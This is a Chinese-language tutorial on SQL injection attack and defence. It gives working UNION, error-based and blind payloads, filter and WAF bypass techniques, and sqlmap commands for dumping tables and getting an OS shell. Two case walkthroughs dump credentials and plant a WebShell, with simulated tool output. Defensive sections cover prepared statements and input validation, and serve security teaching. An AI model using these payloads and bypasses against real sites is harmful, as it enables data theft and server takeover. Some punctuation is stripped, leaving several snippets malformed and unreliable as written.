Web安全实战:SQL注入深度解析与防御
摘要本文从攻击者与防御者双重视角深度解析SQL注入的原理、分类、利用手法、绕过技巧、检测方法与防御策略。涵盖联合查询注入、报错注入、盲注等核心攻击技术以及预编译、输入验证、WAF等关键防御手段并通过实战案例与工具使用指南提供全面的SQL注入攻防知识体系。一、SQL注入基础1.1 什么是SQL注入SQL注入SQL Injection是指攻击者通过在Web应用的输入参数中插入恶意的SQL代码从而操控数据库执行非预期SQL语句的攻击。简单例子// 漏洞代码 $id $_GET[id]; $sql SELECT * FROM users WHERE id $id; $result mysql_query($sql);正常请求https://example.com/news.php?id1 执行的SQLSELECT * FROM users WHERE id 1攻击请求https://example.com/news.php?id1 OR 11 执行的SQLSELECT * FROM users WHERE id 1 OR 11 结果返回所有用户数据因为 11 永远为真1.2 SQL注入的危害数据泄露攻击者可以查询数据库中的敏感数据账号密码、身份证号、银行卡号等数据篡改攻击者可以修改、删除数据权限提升攻击者可以获取管理员账号上传后门在某些数据库配置下攻击者可以写入WebShell内网渗透通过数据库链接攻击者可以攻击内网其他系统二、SQL注入的分类2.1 按注入点分类GET参数注入注入点在URL参数中POST参数注入注入点在POST请求体中Cookie注入注入点在Cookie中HTTP头注入注入点在HTTP请求头中如User-Agent、Referer2.2 按返回结果分类有回显注入注入结果直接显示在页面上联合查询注入UNION SELECT报错注入利用数据库报错信息无回显注入注入结果不直接显示盲注Boolean Blind Injection时间盲注Time Blind Injection2.3 按数据库类型分类不同数据库的SQL语法有差异注入方式也不同MySQL注入MsSQLSQL Server注入Oracle注入PostgreSQL注入Access注入三、SQL注入的利用3.1 联合查询注入UNION SELECT原理利用 UNION 关键字把多条SELECT语句的结果合并。利用条件原查询的列数已知原查询的结果可以显示在页面上步骤第1步判断列数-- 用 ORDER BY 判断列数 SELECT * FROM users WHERE id 1 ORDER BY 1 -- 正常 SELECT * FROM users WHERE id 1 ORDER BY 2 -- 正常 SELECT * FROM users WHERE id 1 ORDER BY 3 -- 正常 SELECT * FROM users WHERE id 1 ORDER BY 4 -- 报错说明有3列第2步判断显示位SELECT * FROM users WHERE id -1 UNION SELECT 1,2,3页面上会显示数字 2 和 3说明第2列和第3列的结果会显示在页面上。第3步获取数据库信息-- 获取当前数据库名 SELECT * FROM users WHERE id -1 UNION SELECT 1,database(),version() -- 获取所有数据库名 SELECT * FROM users WHERE id -1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata -- 获取当前数据库的表名 SELECT * FROM users WHERE id -1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemadatabase() -- 获取表的列名 SELECT * FROM users WHERE id -1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_nameusers -- 获取账号密码 SELECT * FROM users WHERE id -1 UNION SELECT 1,username,password FROM users3.2 报错注入原理利用数据库的报错信息把想要的数据显示在错误信息中。MySQL报错注入函数updatexml()SELECT * FROM users WHERE id 1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 报错信息XPATH syntax error: ~security~ 说明当前数据库名是 security。extractvalue()SELECT * FROM users WHERE id 1 AND extractvalue(1,concat(0x7e,(SELECT database())))floor()SELECT * FROM users WHERE id 1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables group by x)a)3.3 盲注Blind Injection原理页面不返回查询结果只能通过真/假判断来逐步获取数据。Boolean盲注-- 判断当前数据库名的长度 SELECT * FROM users WHERE id 1 AND length(database())8 -- 页面正常说明数据库名长度是8 -- 逐个字符猜解数据库名 SELECT * FROM users WHERE id 1 AND substr(database(),1,1)s -- 页面正常说明第1个字符是s SELECT * FROM users WHERE id 1 AND substr(database(),2,1)e -- 页面正常说明第2个字符是e)时间盲注-- 如果数据库名第一个字符是s则延迟5秒 SELECT * FROM users WHERE id 1 AND IF(substr(database(),1,1)s,sleep(5),0)四、SQL注入的绕过技巧4.1 绕过空格过滤过滤代码$id str_replace( ,,$id); // 过滤空格绕过方法用注释代替空格SELECT//*/FROM//*users**/用Tab代替空格SELECT FROM users用换行代替空格SELECT FROM users4.2 绕过关键字过滤过滤代码$id str_ireplace(SELECT,,$id); // 过滤SELECT $id str_ireplace(UNION,,$id); // 过滤UNION绕过方法大小写混淆SeLeCt * FrOm users双写关键字UNIunionON SEselectLECT * FROM users用注释分割关键字UN//ION SE//LECT * FROM users用十六进制编码SELECT 0x73656c656374 -- 0x73656c656374 是 select 的十六进制4.3 绕过WAFWAFWeb应用防火墙会检测SQL注入特征常见绕过方法分块传输Chunked Transfer Encoding把POST数据分块发送WAF可能无法检测协议不匹配有些WAF只检测GET/POST不检测Cookie/HTTP头参数污染HPP?id1idSELECT * FROM users有些WAF只看第一个参数不看第二个绕过云WAF的CDN直接访问源站IP绕过云WAF五、SQL注入的检测5.1 手工检测测试步骤加单引号看是否报错https://example.com/news.php?id1如果页面报错说明可能存在SQL注入。用 AND 11 和 AND 12 判断https://example.com/news.php?id1 AND 11 -- 页面正常 https://example.com/news.php?id1 AND 12 -- 页面异常如果第1个正常、第2个异常说明SQL注入存在。用 sleep() 判断时间盲注https://example.com/news.php?id1 AND sleep(5)如果页面延迟5秒才返回说明存在时间盲注。5.2 工具检测sqlmap最强大的SQL注入检测和利用工具。基本用法# 检测GET参数 sqlmap -u https://example.com/news.php?id1 检测POST参数 sqlmap -u https://example.com/login.php --data usernameadminpassword123456 指定数据库类型 sqlmap -u https://example.com/news.php?id1 --dbms mysql 获取所有数据库名 sqlmap -u https://example.com/news.php?id1 --dbs 获取表名 sqlmap -u https://example.com/news.php?id1 -D security --tables 获取列名 sqlmap -u https://example.com/news.php?id1 -D security -T users --columns 获取账号密码 sqlmap -u https://example.com/news.php?id1 -D security -T users --dump六、SQL注入的防御6.1 预编译Prepared Statement原理把SQL语句和参数分开参数不会改变SQL语句的结构。Java示例// 错误写法拼接SQL String sql SELECT * FROM users WHERE username username AND password password ; Statement stmt conn.createStatement(); ResultSet rs stmt.executeQuery(sql); // 正确写法预编译 String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs pstmt.executeQuery();PHP示例// 错误写法 $sql SELECT * FROM users WHERE username $username AND password $password; $result mysql_query($sql); // 正确写法PDO $sql SELECT * FROM users WHERE username :username AND password :password; $stmt $pdo-prepare($sql); $stmt-bindParam(:username, $username); $stmt-bindParam(:password, $password); $stmt-execute();6.2 输入验证白名单验证只允许特定格式的输入。// 验证ID只能是数字 if (!preg_match(/^\d$/, $id)) { die(Invalid ID); }6.3 转义特殊字符mysql_real_escape_string()不推荐因为可能有编码绕过addslashes()不推荐因为可能有宽字节注入更好的方法用预编译见6.16.4 WAF部署WAF拦截SQL注入攻击。开源WAFModSecurityNaxsi商业WAF阿里云WAF腾讯云WAF奇安信WAF七、实战案例案例1某电商网站的SQL注入发现过程用sqlmap扫描发现 ?id 参数存在注入用 --dbs 获取所有数据库名发现有一个数据库叫 shop里面有个表叫 admin用 --dump 导出管理员账号密码登录后台发现可以上传文件上传WebShell通过WebShell拿下整台服务器修复方法用预编译重写SQL查询部署WAF定期扫描漏洞攻击流程图flowchart TD A[开始攻击] -- B[使用sqlmap扫描目标网站] B -- C{发现?id参数存在SQL注入?} C --|是| D[使用--dbs获取所有数据库名] C --|否| Z[攻击失败] D -- E{发现敏感数据库shop?} E --|是| F[发现admin表] E --|否| Z F -- G[使用--dump导出管理员账号密码] G -- H[尝试登录后台系统] H -- I{登录成功?} I --|是| J[寻找文件上传功能] I --|否| Z J -- K{找到上传点?} K --|是| L[上传WebShell文件] K --|否| Z L -- M{上传成功?} M --|是| N[通过WebShell连接服务器] M --|否| Z N -- O[获取服务器控制权限] O -- P[横向移动/权限提升] P -- Q[拿下整台服务器] Q -- R[攻击成功] Z -- S[结束攻击流程] style A fill:#f9f,stroke:#333,stroke-width:2px style R fill:#9f9,stroke:#333,stroke-width:2px style Z fill:#f99,stroke:#333,stroke-width:2px/code/pre 流程图说明 开始攻击 → 使用sqlmap扫描目标网站这是攻击的起点。 发现注入点 → 如果发现?id参数存在SQL注入则继续攻击流程否则攻击失败。 信息收集 → 获取数据库信息寻找敏感数据库和表。 凭证窃取 → 导出管理员账号密码尝试登录后台。 权限维持 → 寻找上传功能上传WebShell文件。 控制服务器 → 通过WebShell连接服务器获取控制权限。 横向移动 → 在服务器内部进行权限提升和横向移动。 攻击成功/失败 → 绿色表示攻击成功红色表示攻击失败。 案例2某CMS系统时间盲注实战 背景某内容管理系统CMS的搜索功能存在时间盲注漏洞页面没有明显的错误回显但可以通过时间延迟判断SQL语句是否执行成功。 发现过程 初步测试在搜索框中输入单引号页面没有报错但响应时间略有异常 时间延迟验证输入 1 AND sleep(5)--页面延迟5秒返回确认存在时间盲注 手工验证使用布尔逻辑测试 -- 测试数据库名长度 search.php?keyword1 AND IF(length(database())8,sleep(2),0)-- -- 页面延迟2秒说明数据库名长度为8 -- 测试数据库名第一个字符 search.php?keyword1 AND IF(substr(database(),1,1)c,sleep(2),0)-- -- 页面延迟2秒说明第一个字符是c 使用sqlmap自动化注入 由于手工注入效率低下使用sqlmap的--techniqueTIME参数进行自动化时间盲注测试。 基本检测 sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME --level3 --risk2 确认注入点 [15:24:13] [INFO] testing MySQL 5.0.12 AND time-based blind (query SLEEP) [15:24:18] [INFO] http://target.com/search.php?keywordtest appears to be MySQL 5.0.12 AND time-based blind injectable 获取数据库信息 # 获取当前数据库名 sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME --current-db # 获取所有数据库名 sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME --dbs # 获取当前用户 sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME --current-user 获取表名 sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME -D cmsdb --tables [15:25:45] [INFO] fetching tables for database: cmsdb [15:25:45] [INFO] fetching number of tables for database cmsdb [15:25:45] [INFO] retrieved: 12 [15:26:30] [INFO] retrieved: users [15:27:15] [INFO] retrieved: articles [15:27:45] [INFO] retrieved: comments ... 获取列名 sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME -D cmsdb -T users --columns [15:28:30] [INFO] fetching columns for table users in database cmsdb [15:28:30] [INFO] retrieved: 6 [15:29:15] [INFO] retrieved: id [15:29:45] [INFO] retrieved: username [15:30:15] [INFO] retrieved: password [15:30:45] [INFO] retrieved: email [15:31:15] [INFO] retrieved: role [15:31:45] [INFO] retrieved: created_at 导出数据 sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME -D cmsdb -T users --dump [15:32:30] [INFO] fetching entries for table users in database cmsdb [15:32:30] [INFO] retrieved: 3 [15:33:15] [INFO] retrieved: 1, admin, 5f4dcc3b5aa765d61d8327deb882cf99, admintarget.com, administrator, 2023-01-15 10:30:00 [15:33:45] [INFO] retrieved: 2, editor, e10adc3949ba59abbe56e057f20f883e, editortarget.com, editor, 2023-01-16 14:20:00 [15:34:15] [INFO] retrieved: 3, user1, 25d55ad283aa400af464c76d713c07ad, user1target.com, subscriber, 2023-01-17 09:15:00 关键命令行输出说明 1. 初始检测确认时间盲注 $ sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME --level3 --risk2 ... [15:24:13] [INFO] testing MySQL 5.0.12 AND time-based blind (query SLEEP) [15:24:18] [INFO] http://target.com/search.php?keywordtest appears to be MySQL 5.0.12 AND time-based blind injectable [15:24:18] [INFO] testing for SQL injection on GET parameter keyword [15:24:18] [INFO] testing MySQL 5.0.12 time-based blind (SELECT) [15:24:23] [INFO] GET parameter keyword appears to be MySQL 5.0.12 time-based blind (SELECT) injectable ... 2. 获取数据库信息 $ sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME --dbs ... [15:25:00] [INFO] fetching database names [15:25:00] [INFO] retrieved: information_schema [15:25:30] [INFO] retrieved: cmsdb [15:26:00] [INFO] retrieved: mysql [15:26:30] [INFO] retrieved: performance_schema available databases [4]: [*] cmsdb [*] information_schema [*] mysql [*] performance_schema ... 3. 导出用户表数据 $ sqlmap -u http://target.com/search.php?keywordtest --techniqueTIME -D cmsdb -T users --dump ... [15:32:30] [INFO] fetching entries for table users in database cmsdb [15:32:30] [INFO] retrieved: 3 [15:33:15] [INFO] retrieved: 1, admin, 5f4dcc3b5aa765d61d8327deb882cf99, admintarget.com, administrator, 2023-01-15 10:30:00 [15:33:45] [INFO] retrieved: 2, editor, e10adc3949ba59abbe56e057f20f883e, editortarget.com, editor, 2023-01-16 14:20:00 [15:34:15] [INFO] retrieved: 3, user1, 25d55ad283aa400af464c76d713c07ad, user1target.com, subscriber, 2023-01-17 09:15:00 Database: cmsdb Table: users [3 entries] ------------------------------------------------------------------------------------------------------- | id | username | password | email | role | created_at | ------------------------------------------------------------------------------------------------------- | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admintarget.com | administrator | 2023-01-15 10:30:00 | | 2 | editor | e10adc3949ba59abbe56e057f20f883e | editortarget.com | editor | 2023-01-16 14:20:00 | | 3 | user1 | 25d55ad283aa400af464c76d713c07ad | user1target.com | subscriber | 2023-01-17 09:15:00 | ------------------------------------------------------------------------------------------------------- ... 完整攻击流程 漏洞发现通过手工测试发现时间延迟确认存在时间盲注漏洞 工具验证使用sqlmap的--techniqueTIME参数确认注入点 信息收集获取数据库名、表名、列名等结构信息 数据提取导出敏感数据用户表、管理员凭证等 权限提升尝试使用获取的管理员密码登录后台系统 后续利用根据CMS特性寻找其他漏洞点如文件上传、命令执行等 修复建议 使用预编译语句将所有SQL查询改为参数化查询 输入验证对搜索关键词进行严格的格式验证 时间盲注防护限制SQL语句的最大执行时间 错误处理统一错误页面避免泄露数据库信息 WAF部署部署Web应用防火墙检测和拦截时间盲注攻击 技术要点总结 时间盲注特征页面无错误回显但响应时间随SQL语句变化 sqlmap关键参数--techniqueTIME指定时间盲注技术 自动化优势相比手工注入sqlmap能自动猜解数据库结构 防护难点时间盲注难以通过传统输入过滤完全防御需要多层防护 检测方法监控数据库查询响应时间设置超时阈值 八、工具使用 8.1 sqlmap高级用法 # 指定注入点 sqlmap -u https://example.com/news.php?id1* # * 是指定注入点 绕过WAF sqlmap -u https://example.com/news.php?id1 --tampercharencode,charunicodeencode 用代理Burp Suite sqlmap -u https://example.com/news.php?id1 --proxy http://127.0.0.1:8080 保持会话Cookie sqlmap -u https://example.com/news.php?id1 --cookie PHPSESSIDabc123 获取Shell sqlmap -u https://example.com/news.php?id1 --os-shell 8.2 Burp Suite sqlmap Burp Suite 和 sqlmap 是渗透测试中常用的黄金组合。Burp Suite 负责拦截、修改和重放 HTTP 请求而 sqlmap 则专注于 SQL 注入的检测和利用。两者结合可以大大提高测试效率。 结合使用的优势 自动化测试Burp Suite 可以自动爬取网站发现所有可能的注入点 请求修改Burp Suite 可以方便地修改请求参数、Cookie、Headers 等 会话保持Burp Suite 可以管理会话sqlmap 可以直接使用这些会话 可视化分析Burp Suite 提供直观的请求/响应分析界面 完整工作流程 发现潜在注入点 使用 Burp Suite 的 Spider 功能自动爬取网站 手动浏览网站重点关注 GET/POST 参数、Cookie、HTTP 头等 在 Proxy → HTTP history 中查看所有请求记录 保存请求到文件 在 Burp Suite 中右键点击目标请求 选择 Save item保存为 request.txt 文件 或者复制整个请求内容到剪贴板 使用 sqlmap 进行测试 # 方法1使用保存的请求文件 sqlmap -r request.txt 方法2直接使用 Burp Suite 代理 sqlmap -u https://example.com/news.php?id1 --proxy http://127.0.0.1:8080 方法3使用从 Burp Suite 复制的请求通过 --data 参数 sqlmap -u https://example.com/news.php?id1 --data usernameadminpassword123456 --cookie PHPSESSIDabc123 高级组合技巧 批量测试使用 Burp Suite 的 Intruder 模块生成 payload然后用 sqlmap 批量测试 绕过 WAFBurp Suite 可以修改请求编码sqlmap 可以使用 --tamper 脚本 会话管理Burp Suite 的 Session handling rules 可以自动处理登录状态 结果验证在 Burp Suite 的 Repeater 中手动验证 sqlmap 发现的注入点 自动化集成 # 使用 sqlmap API 与 Burp Suite 扩展结合 安装 sqlmap APIpython sqlmapapi.py -s 在 Burp Suite 中安装相关扩展实现一键测试 配置 Burp Suite 代理 启动 Burp Suite在 Proxy → Options 中确保代理监听端口为 8080 在浏览器中配置代理为 127.0.0.1:8080 访问目标网站Burp Suite 会拦截所有请求 实战示例 在 Burp Suite 中拦截登录请求POST /login.php 保存请求为 login_request.txt 使用 sqlmap 测试 sqlmap -r login_request.txt --level 5 --risk 3 --dbs 如果发现注入继续获取数据 sqlmap -r login_request.txt -D target_db --tables sqlmap -r login_request.txt -D target_db -T users --dump 注意事项 确保有合法的授权才能进行测试 在生产环境测试时使用 --batch 参数避免交互式确认 使用 --threads 参数控制并发数避免对目标造成过大压力 测试完成后及时清理测试数据